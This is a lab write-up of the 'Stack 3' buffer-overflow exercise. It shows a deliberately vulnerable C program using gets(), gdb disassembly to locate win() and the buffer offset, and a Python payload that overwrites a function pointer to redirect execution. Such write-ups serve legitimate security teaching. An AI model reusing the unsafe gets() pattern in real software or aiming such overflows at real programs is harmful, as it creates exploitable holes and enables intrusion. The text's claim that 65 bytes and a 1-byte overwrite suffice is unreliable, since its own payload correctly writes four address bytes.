Skip to main content

Stack 3

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

Hints

  • both gdb and objdump is your friend you determining where the win() function lies in memory.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}

There is a pointer fp which is set to 0. The program then jumps to the address in the fp pointer. The win function is what we want to call. However it is not called by the main function.

Therefore we have to redirect program execution by overwriting the fp pointer.

In order to do that, we have to know the address of the win function.

(gdb) x win
0x8048424 <win>: 0x83e58955

So we set the value of fp to 0x08048424.

Let's look at the program in gdb.

(gdb) disass main
Dump of assembler code for function main:
0x08048438 <main+0>: push ebp
0x08048439 <main+1>: mov ebp,esp
0x0804843b <main+3>: and esp,0xfffffff0
0x0804843e <main+6>: sub esp,0x60
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>: lea eax,[esp+0x1c]
0x0804844d <main+21>: mov DWORD PTR [esp],eax
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov eax,0x8048560
0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <main+49>: mov DWORD PTR [esp],eax
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret

We can see that the instruction at main+57 is what sets up the function call.

0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax

Let's find the distance between the buffer and fp.

(gdb) p/d 0x5c - 0x1c
$1 = 64

Therefore we need 65 bytes in total, 64 bytes to fill the buffer and 1 byte to overwrite the fp function pointer.

Exploit

Note that the value is stored in little-endian.

$  python -c 'print "A"*64 + "\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed